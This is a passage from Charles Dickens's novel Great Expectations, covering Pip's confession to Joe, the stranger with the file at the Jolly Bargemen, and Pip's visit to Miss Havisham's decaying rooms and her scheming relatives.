To whom my +sister, more for the relief of her own mind than for the +gratification of his, related my pretended experiences. + +Now, when I saw Joe open his blue eyes and roll them all round the +kitchen in helpless amazement, I was overtaken by penitence; but +only as regarded him - not in the least as regarded the other two. +Towards Joe, and Joe only, I considered myself a young monster, +while they sat debating what results would come to me from Miss +Havisham's acquaintance and favour. They had no doubt that Miss +Havisham would "do something" for me; their doubts related to the +form that something would take. My sister stood out for "property." +Mr. Pumblechook was in favour of a handsome premium for binding me +apprentice to some genteel trade - say, the corn and seed trade, +for instance. Joe fell into the deepest disgrace with both, for +offering the bright suggestion that I might only be presented with +one of the dogs who had fought for the veal-cutlets. "If a fool's +head can't express better opinions than that," said my sister, "and +you have got any work to do, you had better go and do it." So he +went. + +After Mr. Pumblechook had driven off, and when my sister was washing +up, I stole into the forge to Joe, and remained by him until he had +done for the night. Then I said, "Before the fire goes out, Joe, I +should like to tell you something." + +"Should you, Pip?" said Joe, drawing his shoeing-stool near the +forge. "Then tell us. What is it, Pip?" + +"Joe," said I, taking hold of his rolled-up shirt sleeve, and +twisting it between my finger and thumb, "you remember all that +about Miss Havisham's?" + +"Remember?" said Joe. "I believe you! Wonderful!" + +"It's a terrible thing, Joe; it ain't true." + +"What are you telling of, Pip?" cried Joe, falling back in the +greatest amazement. "You don't mean to say it's--" + +"Yes I do; it's lies, Joe." + +"But not all of it? Why sure you don't mean to say, Pip, that there +was no black welwet coach?" For, I stood shaking my head. "But at +least there was dogs, Pip? Come, Pip," said Joe, persuasively, "if +there warn't no weal-cutlets, at least there was dogs?" + +"No, Joe." + +"A dog?" said Joe. "A puppy? Come?" + +"No, Joe, there was nothing at all of the kind." + +As I fixed my eyes hopelessly on Joe, Joe contemplated me in +dismay. "Pip, old chap! This won't do, old fellow! I say! Where do +you expect to go to?" + +"It's terrible, Joe; an't it?" + +"Terrible?" cried Joe. "Awful! What possessed you?" + +"I don't know what possessed me, Joe," I replied, letting his shirt +sleeve go, and sitting down in the ashes at his feet, hanging my +head; "but I wish you hadn't taught me to call Knaves at cards, +Jacks; and I wish my boots weren't so thick nor my hands so +coarse." + +And then I told Joe that I felt very miserable, and that I hadn't +been able to explain myself to Mrs. Joe and Pumblechook who were so +rude to me, and that there had been a beautiful young lady at Miss +Havisham's who was dreadfully proud, and that she had said I was +common, and that I knew I was common, and that I wished I was not +common, and that the lies had come of it somehow, though I didn't +know how. + +This was a case of metaphysics, at least as difficult for Joe to +deal with, as for me. But Joe took the case altogether out of the +region of metaphysics, and by that means vanquished it. + +"There's one thing you may be sure of, Pip," said Joe, after some +rumination, "namely, that lies is lies. Howsever they come, they +didn't ought to come, and they come from the father of lies, and +work round to the same. Don't you tell no more of 'em, Pip. That +ain't the way to get out of being common, old chap. And as to being +common, I don't make it out at all clear. You are oncommon in some +things. You're oncommon small. Likewise you're a oncommon scholar." + +"No, I am ignorant and backward, Joe." + +"Why, see what a letter you wrote last night! Wrote in print even! +I've seen letters - Ah! and from gentlefolks! - that I'll swear +weren't wrote in print," said Joe. + +"I have learnt next to nothing, Joe. You think much of me. It's +only that." + +"Well, Pip," said Joe, "be it so or be it son't, you must be a +common scholar afore you can be a oncommon one, I should hope! The +king upon his throne, with his crown upon his 'ed, can't sit and +write his acts of Parliament in print, without having begun, when +he were a unpromoted Prince, with the alphabet - Ah!" added Joe, +with a shake of the head that was full of meaning, "and begun at A +too, and worked his way to Z. And I know what that is to do, though +I can't say I've exactly done it." + +There was some hope in this piece of wisdom, and it rather +encouraged me. + +"Whether common ones as to callings and earnings," pursued Joe, +reflectively, "mightn't be the better of continuing for a keep +company with common ones, instead of going out to play with +oncommon ones - which reminds me to hope that there were a flag, +perhaps?" + +"No, Joe." + +"(I'm sorry there weren't a flag, Pip). Whether that might be, or +mightn't be, is a thing as can't be looked into now, without +putting your sister on the Rampage; and that's a thing not to be +thought of, as being done intentional. Lookee here, Pip, at what is +said to you by a true friend. Which this to you the true friend +say. If you can't get to be oncommon through going straight, you'll +never get to do it through going crooked. So don't tell no more on +'em, Pip, and live well and die happy." + +"You are not angry with me, Joe?" + +"No, old chap. But bearing in mind that them were which I +meantersay of a stunning and outdacious sort - alluding to them +which bordered on weal-cutlets and dog-fighting - a sincere +wellwisher would adwise, Pip, their being dropped into your +meditations, when you go up-stairs to bed. That's all, old chap, +and don't never do it no more." + +When I got up to my little room and said my prayers, I did not +forget Joe's recommendation, and yet my young mind was in that +disturbed and unthankful state, that I thought long after I laid me +down, how common Estella would consider Joe, a mere blacksmith: how +thick his boots, and how coarse his hands. I thought how Joe and my +sister were then sitting in the kitchen, and how I had come up to +bed from the kitchen, and how Miss Havisham and Estella never sat +in a kitchen, but were far above the level of such common doings. I +fell asleep recalling what I "used to do" when I was at Miss +Havisham's; as though I had been there weeks or months, instead of +hours; and as though it were quite an old subject of remembrance, +instead of one that had arisen only that day. + +That was a memorable day to me, for it made great changes in me. +But, it is the same with any life. Imagine one selected day struck +out of it, and think how different its course would have been. +Pause you who read this, and think for a moment of the long chain +of iron or gold, of thorns or flowers, that would never have bound +you, but for the formation of the first link on one memorable day. + + +Chapter 10 + +The felicitous idea occurred to me a morning or two later when I +woke, that the best step I could take towards making myself +uncommon was to get out of Biddy everything she knew. In pursuance +of this luminous conception I mentioned to Biddy when I went to Mr. +Wopsle's great-aunt's at night, that I had a particular reason for +wishing to get on in life, and that I should feel very much obliged +to her if she would impart all her learning to me. Biddy, who was +the most obliging of girls, immediately said she would, and indeed +began to carry out her promise within five minutes. + +The Educational scheme or Course established by Mr. Wopsle's +great-aunt may be resolved into the following synopsis. The pupils +ate apples and put straws down one another's backs, until Mr +Wopsle's great-aunt collected her energies, and made an +indiscriminate totter at them with a birch-rod. After receiving the +charge with every mark of derision, the pupils formed in line and +buzzingly passed a ragged book from hand to hand. The book had an +alphabet in it, some figures and tables, and a little spelling - +that is to say, it had had once. As soon as this volume began to +circulate, Mr. Wopsle's great-aunt fell into a state of coma; +arising either from sleep or a rheumatic paroxysm. The pupils then +entered among themselves upon a competitive examination on the +subject of Boots, with the view of ascertaining who could tread the +hardest upon whose toes. This mental exercise lasted until Biddy +made a rush at them and distributed three defaced Bibles (shaped as +if they had been unskilfully cut off the chump-end of something), +more illegibly printed at the best than any curiosities of +literature I have since met with, speckled all over with ironmould, +and having various specimens of the insect world smashed between +their leaves. This part of the Course was usually lightened by +several single combats between Biddy and refractory students. When +the fights were over, Biddy gave out the number of a page, and then +we all read aloud what we could - or what we couldn't - in a +frightful chorus; Biddy leading with a high shrill monotonous +voice, and none of us having the least notion of, or reverence for, +what we were reading about. When this horrible din had lasted a +certain time, it mechanically awoke Mr. Wopsle's great-aunt, who +staggered at a boy fortuitously, and pulled his ears. This was +understood to terminate the Course for the evening, and we emerged +into the air with shrieks of intellectual victory. It is fair to +remark that there was no prohibition against any pupil's +entertaining himself with a slate or even with the ink (when there +was any), but that it was not easy to pursue that branch of study +in the winter season, on account of the little general shop in +which the classes were holden - and which was also Mr. Wopsle's +great-aunt's sitting-room and bed-chamber - being but faintly +illuminated through the agency of one low-spirited dip-candle and +no snuffers. + +It appeared to me that it would take time, to become uncommon under +these circumstances: nevertheless, I resolved to try it, and that +very evening Biddy entered on our special agreement, by imparting +some information from her little catalogue of Prices, under the +head of moist sugar, and lending me, to copy at home, a large old +English D which she had imitated from the heading of some +newspaper, and which I supposed, until she told me what it was, to +be a design for a buckle. + +Of course there was a public-house in the village, and of course +Joe liked sometimes to smoke his pipe there. I had received strict +orders from my sister to call for him at the Three Jolly Bargemen, +that evening, on my way from school, and bring him home at my +peril. To the Three Jolly Bargemen, therefore, I directed my steps. + +There was a bar at the Jolly Bargemen, with some alarmingly long +chalk scores in it on the wall at the side of the door, which +seemed to me to be never paid off. They had been there ever since I +could remember, and had grown more than I had. But there was a +quantity of chalk about our country, and perhaps the people +neglected no opportunity of turning it to account. + +It being Saturday night, I found the landlord looking rather grimly +at these records, but as my business was with Joe and not with him, +I merely wished him good evening, and passed into the common room +at the end of the passage, where there was a bright large kitchen +fire, and where Joe was smoking his pipe in company with Mr. Wopsle +and a stranger. Joe greeted me as usual with "Halloa, Pip, old +chap!" and the moment he said that, the stranger turned his head +and looked at me. + +He was a secret-looking man whom I had never seen before. His head +was all on one side, and one of his eyes was half shut up, as if he +were taking aim at something with an invisible gun. He had a pipe +in his mouth, and he took it out, and, after slowly blowing all his +smoke away and looking hard at me all the time, nodded. So, I +nodded, and then he nodded again, and made room on the settle +beside him that I might sit down there. + +But, as I was used to sit beside Joe whenever I entered that place +of resort, I said "No, thank you, sir," and fell into the space Joe +made for me on the opposite settle. The strange man, after glancing +at Joe, and seeing that his attention was otherwise engaged, nodded +to me again when I had taken my seat, and then rubbed his leg - in +a very odd way, as it struck me. + +"You was saying," said the strange man, turning to Joe, "that you +was a blacksmith." + +"Yes. I said it, you know," said Joe. + +"What'll you drink, Mr. - ? You didn't mention your name, +by-the-bye." + +Joe mentioned it now, and the strange man called him by it. +"What'll you drink, Mr. Gargery? At my expense? To top up with?" + +"Well," said Joe, "to tell you the truth, I ain't much in the habit +of drinking at anybody's expense but my own." + +"Habit? No," returned the stranger, "but once and away, and on a +Saturday night too. Come! Put a name to it, Mr. Gargery." + +"I wouldn't wish to be stiff company," said Joe. "Rum." + +"Rum," repeated the stranger. "And will the other gentleman +originate a sentiment." + +"Rum," said Mr. Wopsle. + +"Three Rums!" cried the stranger, calling to the landlord. "Glasses +round!" + +"This other gentleman," observed Joe, by way of introducing Mr. +Wopsle, "is a gentleman that you would like to hear give it out. +Our clerk at church." + +"Aha!" said the stranger, quickly, and cocking his eye at me. "The +lonely church, right out on the marshes, with graves round it!" + +"That's it," said Joe. + +The stranger, with a comfortable kind of grunt over his pipe, put +his legs up on the settle that he had to himself. He wore a +flapping broad-brimmed traveller's hat, and under it a handkerchief +tied over his head in the manner of a cap: so that he showed no +hair. As he looked at the fire, I thought I saw a cunning +expression, followed by a half-laugh, come into his face. + +"I am not acquainted with this country, gentlemen, but it seems a +solitary country towards the river." + +"Most marshes is solitary," said Joe. + +"No doubt, no doubt. Do you find any gipsies, now, or tramps, or +vagrants of any sort, out there?" + +"No," said Joe; "none but a runaway convict now and then. And we +don't find them, easy. Eh, Mr. Wopsle?" + +Mr. Wopsle, with a majestic remembrance of old discomfiture, +assented; but not warmly. + +"Seems you have been out after such?" asked the stranger. + +"Once," returned Joe. "Not that we wanted to take them, you +understand; we went out as lookers on; me, and Mr. Wopsle, and Pip. +Didn't us, Pip?" + +"Yes, Joe." + +The stranger looked at me again - still cocking his eye, as if he +were expressly taking aim at me with his invisible gun - and said, +"He's a likely young parcel of bones that. What is it you call +him?" + +"Pip," said Joe. + +"Christened Pip?" + +"No, not christened Pip." + +"Surname Pip?" + +"No," said Joe, "it's a kind of family name what he gave himself +when a infant, and is called by." + +"Son of yours?" + +"Well," said Joe, meditatively - not, of course, that it could be +in anywise necessary to consider about it, but because it was the +way at the Jolly Bargemen to seem to consider deeply about +everything that was discussed over pipes; "well - no. No, he +ain't." + +"Nevvy?" said the strange man. + +"Well," said Joe, with the same appearance of profound cogitation, +"he is not - no, not to deceive you, he is not - my nevvy." + +"What the Blue Blazes is he?" asked the stranger. Which appeared to +me to be an inquiry of unnecessary strength. + +Mr. Wopsle struck in upon that; as one who knew all about +relationships, having professional occasion to bear in mind what +female relations a man might not marry; and expounded the ties +between me and Joe. Having his hand in, Mr. Wopsle finished off with +a most terrifically snarling passage from Richard the Third, and +seemed to think he had done quite enough to account for it when he +added, - "as the poet says." + +And here I may remark that when Mr. Wopsle referred to me, he +considered it a necessary part of such reference to rumple my hair +and poke it into my eyes. I cannot conceive why everybody of his +standing who visited at our house should always have put me through +the same inflammatory process under similar circumstances. Yet I do +not call to mind that I was ever in my earlier youth the subject of +remark in our social family circle, but some large-handed person +took some such ophthalmic steps to patronize me. + +All this while, the strange man looked at nobody but me, and looked +at me as if he were determined to have a shot at me at last, and +bring me down. But he said nothing after offering his Blue Blazes +observation, until the glasses of rum-and-water were brought; and +then he made his shot, and a most extraordinary shot it was. + +It was not a verbal remark, but a proceeding in dump show, and was +pointedly addressed to me. He stirred his rum-and-water pointedly +at me, and he tasted his rum-and-water pointedly at me. And he +stirred it and he tasted it: not with a spoon that was brought to +him, but with a file. + +He did this so that nobody but I saw the file; and when he had done +it he wiped the file and put it in a breast-pocket. I knew it to be +Joe's file, and I knew that he knew my convict, the moment I saw +the instrument. I sat gazing at him, spell-bound. But he now +reclined on his settle, taking very little notice of me, and +talking principally about turnips. + +There was a delicious sense of cleaning-up and making a quiet pause +before going on in life afresh, in our village on Saturday nights, +which stimulated Joe to dare to stay out half an hour longer on +Saturdays than at other times. The half hour and the rum-and-water +running out together, Joe got up to go, and took me by the hand. + +"Stop half a moment, Mr. Gargery," said the strange man. "I think +I've got a bright new shilling somewhere in my pocket, and if I +have, the boy shall have it." + +He looked it out from a handful of small change, folded it in some +crumpled paper, and gave it to me. "Yours!" said he. "Mind! Your +own." + +I thanked him, staring at him far beyond the bounds of good +manners, and holding tight to Joe. He gave Joe good-night, and he +gave Mr. Wopsle good-night (who went out with us), and he gave me +only a look with his aiming eye - no, not a look, for he shut it +up, but wonders may be done with an eye by hiding it. + +On the way home, if I had been in a humour for talking, the talk +must have been all on my side, for Mr. Wopsle parted from us at the +door of the Jolly Bargemen, and Joe went all the way home with his +mouth wide open, to rinse the rum out with as much air as possible. +But I was in a manner stupefied by this turning up of my old +misdeed and old acquaintance, and could think of nothing else. + +My sister was not in a very bad temper when we presented ourselves +in the kitchen, and Joe was encouraged by that unusual circumstance +to tell her about the bright shilling. "A bad un, I'll be bound," +said Mrs. Joe triumphantly, "or he wouldn't have given it to the +boy! Let's look at it." + +I took it out of the paper, and it proved to be a good one. "But +what's this?" said Mrs. Joe, throwing down the shilling and catching +up the paper. "Two One-Pound notes?" + +Nothing less than two fat sweltering one-pound notes that seemed to +have been on terms of the warmest intimacy with all the cattle +markets in the county. Joe caught up his hat again, and ran with +them to the Jolly Bargemen to restore them to their owner. While he +was gone, I sat down on my usual stool and looked vacantly at my +sister, feeling pretty sure that the man would not be there. + +Presently, Joe came back, saying that the man was gone, but that +he, Joe, had left word at the Three Jolly Bargemen concerning the +notes. Then my sister sealed them up in a piece of paper, and put +them under some dried rose-leaves in an ornamental tea-pot on the +top of a press in the state parlour. There they remained, a +nightmare to me, many and many a night and day. + +I had sadly broken sleep when I got to bed, through thinking of the +strange man taking aim at me with his invisible gun, and of the +guiltily coarse and common thing it was, to be on secret terms of +conspiracy with convicts - a feature in my low career that I had +previously forgotten. I was haunted by the file too. A dread +possessed me that when I least expected it, the file would +reappear. I coaxed myself to sleep by thinking of Miss Havisham's, +next Wednesday; and in my sleep I saw the file coming at me out of +a door, without seeing who held it, and I screamed myself awake. + + +Chapter 11 + +At the appointed time I returned to Miss Havisham's, and my +hesitating ring at the gate brought out Estella. She locked it +after admitting me, as she had done before, and again preceded me +into the dark passage where her candle stood. She took no notice of +me until she had the candle in her hand, when she looked over her +shoulder, superciliously saying, "You are to come this way today," +and took me to quite another part of the house. + +The passage was a long one, and seemed to pervade the whole square +basement of the Manor House. We traversed but one side of the +square, however, and at the end of it she stopped, and put her +candle down and opened a door. Here, the daylight reappeared, and I +found myself in a small paved court-yard, the opposite side of +which was formed by a detached dwelling-house, that looked as if it +had once belonged to the manager or head clerk of the extinct +brewery. There was a clock in the outer wall of this house. Like +the clock in Miss Havisham's room, and like Miss Havisham's watch, +it had stopped at twenty minutes to nine. + +We went in at the door, which stood open, and into a gloomy room +with a low ceiling, on the ground floor at the back. There was some +company in the room, and Estella said to me as she joined it, "You +are to go and stand there, boy, till you are wanted." "There", +being the window, I crossed to it, and stood "there," in a very +uncomfortable state of mind, looking out. + +It opened to the ground, and looked into a most miserable corner of +the neglected garden, upon a rank ruin of cabbage-stalks, and one +box tree that had been clipped round long ago, like a pudding, and +had a new growth at the top of it, out of shape and of a different +colour, as if that part of the pudding had stuck to the saucepan +and got burnt. This was my homely thought, as I contemplated the +box-tree. There had been some light snow, overnight, and it lay +nowhere else to my knowledge; but, it had not quite melted from the +cold shadow of this bit of garden, and the wind caught it up in +little eddies and threw it at the window, as if it pelted me for +coming there. + +I divined that my coming had stopped conversation in the room, and +that its other occupants were looking at me. I could see nothing of +the room except the shining of the fire in the window glass, but I +stiffened in all my joints with the consciousness that I was under +close inspection. + +There were three ladies in the room and one gentleman. Before I had +been standing at the window five minutes, they somehow conveyed to +me that they were all toadies and humbugs, but that each of them +pretended not to know that the others were toadies and humbugs: +because the admission that he or she did know it, would have made +him or her out to be a toady and humbug. + +They all had a listless and dreary air of waiting somebody's +pleasure, and the most talkative of the ladies had to speak quite +rigidly to repress a yawn. This lady, whose name was Camilla, very +much reminded me of my sister, with the difference that she was +older, and (as I found when I caught sight of her) of a blunter +cast of features. Indeed, when I knew her better I began to think +it was a Mercy she had any features at all, so very blank and high +was the dead wall of her face. + +"Poor dear soul!" said this lady, with an abruptness of manner +quite my sister's. "Nobody's enemy but his own!" + +"It would be much more commendable to be somebody else's enemy," +said the gentleman; "far more natural." + +"Cousin Raymond," observed another lady, "we are to love our +neighbour." + +"Sarah Pocket," returned Cousin Raymond, "if a man is not his own +neighbour, who is?" + +Miss Pocket laughed, and Camilla laughed and said (checking a +yawn), "The idea!" But I thought they seemed to think it rather a +good idea too. The other lady, who had not spoken yet, said gravely +and emphatically, "Very true!" + +"Poor soul!" Camilla presently went on (I knew they had all been +looking at me in the mean time), "he is so very strange! Would +anyone believe that when Tom's wife died, he actually could not be +induced to see the importance of the children's having the deepest +of trimmings to their mourning? 'Good Lord!' says he, 'Camilla, +what can it signify so long as the poor bereaved little things are +in black?' So like Matthew! The idea!" + +"Good points in him, good points in him," said Cousin Raymond; +"Heaven forbid I should deny good points in him; but he never had, +and he never will have, any sense of the proprieties." + +"You know I was obliged," said Camilla, "I was obliged to be firm. +I said, 'It WILL NOT DO, for the credit of the family.' I told him +that, without deep trimmings, the family was disgraced. I cried +about it from breakfast till dinner. I injured my digestion. And at +last he flung out in his violent way, and said, with a D, 'Then do +as you like.' Thank Goodness it will always be a consolation to me +to know that I instantly went out in a pouring rain and bought the +things." + +"He paid for them, did he not?" asked Estella. + +"It's not the question, my dear child, who paid for them," returned +Camilla. "I bought them. And I shall often think of that with +peace, when I wake up in the night." + +The ringing of a distant bell, combined with the echoing of some +cry or call along the passage by which I had come, interrupted the +conversation and caused Estella to say to me, "Now, boy!" On my +turning round, they all looked at me with the utmost contempt, and, +as I went out, I heard Sarah Pocket say, "Well I am sure! What +next!" and Camilla add, with indignation, "Was there ever such a +fancy! The i-de-a!" + +As we were going with our candle along the dark passage, Estella +stopped all of a sudden, and, facing round, said in her taunting +manner with her face quite close to mine: + +"Well?" + +"Well, miss?" I answered, almost falling over her and checking +myself. + +She stood looking at me, and, of course, I stood looking at her. + +"Am I pretty?" + +"Yes; I think you are very pretty." + +"Am I insulting?" + +"Not so much so as you were last time," said I. + +"Not so much so?" + +"No." + +She fired when she asked the last question, and she slapped my face +with such force as she had, when I answered it. + +"Now?" said she. "You little coarse monster, what do you think of +me now?" + +"I shall not tell you." + +"Because you are going to tell, up-stairs. Is that it?" + +"No," said I, "that's not it." + +"Why don't you cry again, you little wretch?" + +"Because I'll never cry for you again," said I. Which was, I +suppose, as false a declaration as ever was made; for I was +inwardly crying for her then, and I know what I know of the pain +she cost me afterwards. + +We went on our way up-stairs after this episode; and, as we were +going up, we met a gentleman groping his way down. + +"Whom have we here?" asked the gentleman, stopping and looking at +me. + +"A boy," said Estella. + +He was a burly man of an exceedingly dark complexion, with an +exceedingly large head and a corresponding large hand. He took my +chin in his large hand and turned up my face to have a look at me +by the light of the candle. He was prematurely bald on the top of +his head, and had bushy black eyebrows that wouldn't lie down but +stood up bristling. His eyes were set very deep in his head, and +were disagreeably sharp and suspicious. He had a large watchchain, +and strong black dots where his beard and whiskers would have been +if he had let them. He was nothing to me, and I could have had no +foresight then, that he ever would be anything to me, but it +happened that I had this opportunity of observing him well. + +"Boy of the neighbourhood? Hey?" said he. + +"Yes, sir," said I. + +"How do you come here?" + +"Miss Havisham sent for me, sir," I explained. + +"Well! Behave yourself. I have a pretty large experience of boys, +and you're a bad set of fellows. Now mind!" said he, biting the +side of his great forefinger as he frowned at me, "you behave +yourself!" + +With those words, he released me - which I was glad of, for his +hand smelt of scented soap - and went his way down-stairs. I +wondered whether he could be a doctor; but no, I thought; he +couldn't be a doctor, or he would have a quieter and more +persuasive manner. There was not much time to consider the subject, +for we were soon in Miss Havisham's room, where she and everything +else were just as I had left them. Estella left me standing near +the door, and I stood there until Miss Havisham cast her eyes upon +me from the dressing-table. + +"So!" she said, without being startled or surprised; "the days have +worn away, have they?" + +"Yes, ma'am. To-day is--" + +"There, there, there!" with the impatient movement of her fingers. +"I don't want to know. Are you ready to play?" + +I was obliged to answer in some confusion, "I don't think I am, +ma'am." + +"Not at cards again?" she demanded, with a searching look. + +"Yes, ma'am; I could do that, if I was wanted." + +"Since this house strikes you old and grave, boy," said Miss +Havisham, impatiently, "and you are unwilling to play, are you +willing to work?" + +I could answer this inquiry with a better heart than I had been +able to find for the other question, and I said I was quite +willing. + +"Then go into that opposite room," said she, pointing at the door +behind me with her withered hand, "and wait there till I come." + +I crossed the staircase landing, and entered the room she +indicated. From that room, too, the daylight was completely +excluded, and it had an airless smell that was oppressive. A fire +had been lately kindled in the damp old-fashioned grate, and it was +more disposed to go out than to burn up, and the reluctant smoke +which hung in the room seemed colder than the clearer air - like +our own marsh mist. Certain wintry branches of candles on the high +chimneypiece faintly lighted the chamber: or, it would be more +expressive to say, faintly troubled its darkness. It was spacious, +and I dare say had once been handsome, but every discernible thing +in it was covered with dust and mould, and dropping to pieces. The +most prominent object was a long table with a tablecloth spread on +it, as if a feast had been in preparation when the house and the +clocks all stopped together. An epergne or centrepiece of some kind +was in the middle of this cloth; it was so heavily overhung with +cobwebs that its form was quite undistinguishable; and, as I looked +along the yellow expanse out of which I remember its seeming to +grow, like a black fungus, I saw speckled-legged spiders with +blotchy bodies running home to it, and running out from it, as if +some circumstances of the greatest public importance had just +transpired in the spider community. + +I heard the mice too, rattling behind the panels, as if the same +occurrence were important to their interests. But, the blackbeetles +took no notice of the agitation, and groped about the hearth in a +ponderous elderly way, as if they were short-sighted and hard of +hearing, and not on terms with one another. + +These crawling things had fascinated my attention and I was +watching them from a distance, when Miss Havisham laid a hand upon +my shoulder. In her other hand she had a crutch-headed stick on +which she leaned, and she looked like the Witch of the place. + +"This," said she, pointing to the long table with her stick, "is +where I will be laid when I am dead. They shall come and look at me +here." + +With some vague misgiving that she might get upon the table then +and there and die at once, the complete realization of the ghastly +waxwork at the Fair, I shrank under her touch. + +"What do you think that is?" she asked me, again pointing with her +stick; "that, where those cobwebs are?" + +"I can't guess what it is, ma'am." + +"It's a great cake. A bride-cake. Mine!" + +She looked all round the room in a glaring manner, and then said, +leaning on me while her hand twitched my shoulder, "Come, come, +come! Walk me, walk me!" + +I made out from this, that the work I had to do, was to walk Miss +Havisham round and round the room. Accordingly, I started at once, +and she leaned upon my shoulder, and we went away at a pace that +might have been an imitation (founded on my first impulse under +that roof) of Mr. Pumblechook's chaise-cart. + +She was not physically strong, and after a little time said, +"Slower!" Still, we went at an impatient fitful speed, and as we +went, she twitched the hand upon my shoulder, and worked her mouth, +and led me to believe that we were going fast because her thoughts +went fast. After a while she said, "Call Estella!" so I went out on +the landing and roared that name as I had done on the previous +occasion. When her light appeared, I returned to Miss Havisham, and +we started away again round and round the room. + +If only Estella had come to be a spectator of our proceedings, I +should have felt sufficiently discontented; but, as she brought +with her the three ladies and the gentleman whom I had seen below, +I didn't know what to do. In my politeness, I would have stopped; +but, Miss Havisham twitched my shoulder, and we posted on - with a +shame-faced consciousness on my part that they would think it was +all my doing. + +"Dear Miss Havisham," said Miss Sarah Pocket. "How well you look!" + +"I do not," returned Miss Havisham. "I am yellow skin and bone." + +Camilla brightened when Miss Pocket met with this rebuff; and she +murmured, as she plaintively contemplated Miss Havisham, "Poor dear +soul! Certainly not to be expected to look well, poor thing. The +idea!" + +"And how are you?" said Miss Havisham to Camilla. As we were close +to Camilla then, I would have stopped as a matter of course, only +Miss Havisham wouldn't stop. We swept on, and I felt that I was +highly obnoxious to Camilla. + +"Thank you, Miss Havisham," she returned, "I am as well as can be +expected." + +"Why, what's the matter with you?" asked Miss Havisham, with +exceeding sharpness. + +"Nothing worth mentioning," replied Camilla. "I don't wish to make +a display of my feelings, but I have habitually thought of you more +in the night than I am quite equal to." + +"Then don't think of me," retorted Miss Havisham. + +"Very easily said!" remarked Camilla, amiably repressing a sob, +while a hitch came into her upper lip, and her tears overflowed. +"Raymond is a witness what ginger and sal volatile I am obliged to +take in the night. Raymond is a witness what nervous jerkings I +have in my legs. Chokings and nervous jerkings, however, are +nothing new to me when I think with anxiety of those I love. If I +could be less affectionate and sensitive, I should have a better +digestion and an iron set of nerves. I am sure I wish it could be +so. But as to not thinking of you in the night - The idea!" Here, a +burst of tears. + +The Raymond referred to, I understood to be the gentleman present, +and him I understood to be Mr. Camilla. He came to the rescue at +this point, and said in a consolatory and complimentary voice, +"Camilla, my dear, it is well known that your family feelings are +gradually undermining you to the extent of making one of your legs +shorter than the other." + +"I am not aware," observed the grave lady whose voice I had heard +but once, "that to think of any person is to make a great claim +upon that person, my dear." + +Miss Sarah Pocket, whom I now saw to be a little dry brown +corrugated old woman, with a small face that might have been made +of walnut shells, and a large mouth like a cat's without the +whiskers, supported this position by saying, "No, indeed, my dear. +Hem!" + +"Thinking is easy enough," said the grave lady. + +"What is easier, you know?" assented Miss Sarah Pocket. + +"Oh, yes, yes!" cried Camilla, whose fermenting feelings appeared +to rise from her legs to her bosom. "It's all very true! It's a +weakness to be so affectionate, but I can't help it. No doubt my +health would be much better if it was otherwise, still I wouldn't +change my disposition if I could. It's the cause of much suffering, +but it's a consolation to know I posses it, when I wake up in the +night." Here another burst of feeling. + +Miss Havisham and I had never stopped all this time, but kept going +round and round the room: now, brushing against the skirts of the +visitors: now, giving them the whole length of the dismal chamber. + +"There's Matthew!" said Camilla. "Never mixing with any natural +ties, never coming here to see how Miss Havisham is! I have taken +to the sofa with my staylace cut, and have lain there hours, +insensible, with my head over the side, and my hair all down, and +my feet I don't know where--" + +("Much higher than your head, my love," said Mr. Camilla.) + +"I have gone off into that state, hours and hours, on account of +Matthew's strange and inexplicable conduct, and nobody has thanked +me." + +"Really I must say I should think not!" interposed the grave lady. + +"You see, my dear," added Miss Sarah Pocket (a blandly vicious +personage), "the question to put to yourself is, who did you expect +to thank you, my love?" + +"Without expecting any thanks, or anything of the sort," resumed +Camilla, "I have remained in that state, hours and hours, and +Raymond is a witness of the extent to which I have choked, and what +the total inefficacy of ginger has been, and I have been heard at +the pianoforte-tuner's across the street, where the poor mistaken +children have even supposed it to be pigeons cooing at a +distance-and now to be told--." Here Camilla put her hand to her +throat, and began to be quite chemical as to the formation of new +combinations there. + +When this same Matthew was mentioned, Miss Havisham stopped me and +herself, and stood looking at the speaker. This change had a great +influence in bringing Camilla's chemistry to a sudden end. + +"Matthew will come and see me at last," said Miss Havisham, +sternly, "when I am laid on that table. That will be his place - +there," striking the table with her stick, "at my head! And yours +will be there! And your husband's there! And Sarah Pocket's there! +And Georgiana's there! Now you all know where to take your stations +when you come to feast upon me. And now go!" + +At the mention of each name, she had struck the table with her +stick in a new place. She now said, "Walk me, walk me!" and we went +on again. + +"I suppose there's nothing to be done," exclaimed Camilla, "but +comply and depart. It's something to have seen the object of one's +love and duty, for even so short a time. I shall think of it with a +melancholy satisfaction when I wake up in the night. I wish Matthew +could have that comfort, but he sets it at defiance. I am +determined not to make a display of my feelings, but it's very hard +to be told one wants to feast on one's relations - as if one was a +Giant - and to be told to go. The bare idea!" + +Mr. Camilla interposing, as Mrs. Camilla laid her hand upon her +heaving bosom, that lady assumed an unnatural fortitude of manner +which I supposed to be expressive of an intention to drop and choke +when out of view, and kissing her hand to Miss Havisham, was +escorted forth. Sarah Pocket and Georgiana contended who should +remain last; but, Sarah was too knowing to be outdone, and ambled +round Georgiana with that artful slipperiness, that the latter was +obliged to take precedence. Sarah Pocket then made her separate +effect of departing with "Bless you, Miss Havisham dear!" and with +a smile of forgiving pity on her walnut-shell countenance for the +weaknesses of the rest. + +While Estella was away lighting them down, Miss Havisham still +walked with her hand on my shoulder, but more and more slowly. At +last she stopped before the fire, and said, after muttering and +looking at it some seconds: + +"This is my birthday, Pip." + +I was going to wish her many happy returns, when she lifted her +stick. + +"I don't suffer it to be spoken of. I don't suffer those who were +here just now, or any one, to speak of it. They come here on the +day, but they dare not refer to it." + +Of course I made no further effort to refer to it. + +"On this day of the year, long before you were born, this heap of +decay," stabbing with her crutched stick at the pile of cobwebs on +the table but not touching it, "was brought here. It and I have +worn away together. The mice have gnawed at it, and sharper teeth +than teeth of mice have gnawed at me." + +She held the head of her stick against her heart as she stood +looking at the table; she in her once white dress, all yellow and +withered; the once white cloth all yellow and withered; everything +around, in a state to crumble under a touch. + +"When the ruin is complete," said she, with a ghastly look, "and +when they lay me dead, in my bride's dress on the bride's table - +which shall be done, and which will be the finished curse upon him +- so much the better if it is done on this day!" + +She stood looking at the table as if she stood looking at her own +figure lying there. I remained quiet. Estella returned, and she too +remained quiet. It seemed to me that we continued thus for a long +time. In the heavy air of the room, and the heavy darkness that +brooded in its remoter corners, I even had an alarming fancy that +Estella and I might presently begin to decay. + +At length, not coming out of her distraught state by degrees, but +in an instant, Miss Havisham said, "Let me see you two play cards; +why have you not begun?" With that, we returned to her room, and +sat down as before; I was beggared, as before; and again, as +before, Miss Havisham watched us all the time, directed my +attention to Estella's beauty, and made me notice it the more by +trying her jewels on Estella's breast and hair. + 